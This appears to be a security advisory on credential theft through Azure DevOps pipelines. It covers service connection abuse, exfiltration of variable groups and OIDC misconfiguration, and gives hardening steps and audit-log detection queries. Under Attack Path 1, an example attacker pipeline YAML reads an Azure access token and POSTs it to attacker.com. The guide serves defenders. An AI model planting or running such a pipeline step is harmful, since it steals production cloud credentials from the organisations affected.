This issue has been assessed as high severity. Review affected configurations immediately.
Azure DevOps pipelines accumulate secrets over time. Service connections to production subscriptions, variable groups containing API keys, library items with database credentials — all of it accessible to any pipeline that can be configured to run by a developer with Contributor rights. When an attacker compromises a developer account or introduces a malicious pipeline change, the question isn’t whether there are valuable credentials accessible; it’s how many.
Attack Surface Overview
Service connections are the highest-value targets in Azure DevOps. A service connection to an Azure subscription with Contributor or Owner rights gives a pipeline full access to that subscription’s resources. Service connections to AWS, GCP, Kubernetes clusters, and external SaaS platforms extend the blast radius further.
Service connections are scoped to projects but can be shared across pipelines within that project. A pipeline that can request a service connection can use it regardless of whether the original pipeline designer intended that access.
Variable groups linked to Azure Key Vault are a direct credential exfiltration path. Any pipeline referencing a variable group automatically receives the secrets it contains as environment variables at runtime.
Agent pool and self-hosted runner compromise: If your pipelines run on self-hosted agents (common for builds requiring specific tooling or network access), compromise of the agent machine gives an attacker access to everything that agent has ever accessed — cached credentials, IMDS metadata, service connection tokens.
Attack Path 1: Service Connection Abuse via Pipeline YAML Injection
In Azure DevOps, a user with project-level Contributor rights can create or edit pipeline YAML files. The pipeline can then be triggered manually or via a PR. If the pipeline references a service connection that the user doesn’t directly have access to, Azure DevOps still allows the pipeline to use it — the pipeline acts as an intermediary.
# Attacker-modified pipeline that exfiltrates Azure subscription credentials
trigger: none
pr:
branches:
include:
- main
pool:
vmImage: ubuntu-latest
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'prod-azure-serviceconnection' # legitimate connection name
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# Exfiltrate the access token
TOKEN=$(az account get-access-token --query accessToken -o tsv)
curl -X POST https://attacker.com/collect -d "token=$TOKEN"
The fix: require pipeline approval and checks before service connections can be used, and scope service connections to the minimum required pipelines rather than granting project-wide access.
# Azure CLI: restrict service connection to specific pipeline
az devops service-endpoint update \
--id <service-endpoint-id> \
--org https://dev.azure.com/<org> \
--project <project> \
--set pipeline-access=false
Then explicitly grant access only to named pipelines via the Azure DevOps portal under Project Settings → Service connections → [Connection] → Security.
Attack Path 2: Variable Group Exfiltration
Variable groups linked to Azure Key Vault populate pipeline environment variables at runtime. A pipeline that has access to a variable group receives all secrets in that group as plaintext environment variables — even if individual variables are marked as secret (secret variables aren’t logged, but they can still be exfiltrated by writing them to an external endpoint).
# Detecting variable group access in audit logs
# Azure DevOps exposes this via the audit API:
# GET https://auditservice.dev.azure.com/{org}/_apis/audit/auditlog?api-version=7.0
# Filter on: actionId = "Library.VariableGroupModified" or "Library.VariableGroupAccessed"
Hardening: scope variable groups to specific pipelines, not to the whole project. Enable approval gates on variable groups containing production credentials, requiring a named approver to authorise access each time.
Attack Path 3: OIDC Workload Identity Misconfiguration
Azure DevOps supports workload identity federation (OIDC) for service connections, replacing static service principal credentials with short-lived tokens. When misconfigured, overly permissive subject claims in the federated credential allow any Azure DevOps pipeline in the org to assume the identity.
# Check existing federated credential subjects on a service principal
az ad app federated-credential list \
--id <app-id> \
--query "[].{name:name, subject:subject, issuer:issuer}"
A subject claim of sc://<org>/* (wildcard) allows any service connection in the org to use the federated credential. Lock it down to specific project and connection:
# Correct subject format: sc://<org>/<project>/<service-connection-name>
az ad app federated-credential update \
--id <app-id> \
--federated-credential-id <credential-id> \
--parameters '{
"subject": "sc://myorg/production-project/prod-azure-connection",
"issuer": "https://vstoken.dev.azure.com/<org-id>",
"audiences": ["api://AzureADTokenExchange"]
}'
Audit Log Configuration and Detection
Azure DevOps audit logs are disabled by default. Enable them under Organisation Settings → Policies → Enable audit log events.
Key audit events for pipeline credential theft detection:
| Event | Significance |
|---|---|
Library.VariableGroupModified | Changes to variable groups — potential secret addition |
Pipelines.PipelineCreated / Modified | New or modified pipeline YAML |
Pipelines.StageApprovalCompleted | Approval gate bypass or unexpected approval |
Security.AuthorizationGranted | Service connection permission changes |
Build.RequestedForUnknownUser | Pipeline triggered by unexpected identity |
Stream audit logs to Azure Monitor via diagnostic settings, then alert on:
// Azure Monitor KQL -- new pipeline accessing high-value service connections
AzureDevOpsAuditLogs
| where OperationName == "Library.VariableGroupAccessed"
or OperationName == "Pipelines.PipelineRunStarted"
| where Data.projectName has "production" or Data.serviceConnectionName has "prod"
| where ActorUPN !in (known_pipeline_service_accounts)
| project TimeGenerated, ActorUPN, OperationName, Data.projectName, Data.pipelineName
| order by TimeGenerated desc
Essential Hardening Controls
- Enable branch policies: Require PR review before pipeline YAML changes merge to protected branches.
- Service connection approval gates: Require manual approval for first use of any production service connection by a new pipeline.
- Scope all service connections to specific pipelines, not project-wide.
- Audit variable group access regularly: Review which pipelines have access to production variable groups quarterly.
- Use workload identity federation instead of service principal secrets where supported — short-lived tokens significantly reduce exfiltration window.
- Rotate service principal credentials for any service connection accessed from a pipeline that ran modified YAML from an untrusted contributor.
- Separate environments: Production service connections should live in a dedicated project with restricted contributor access, not in the same project as development pipelines.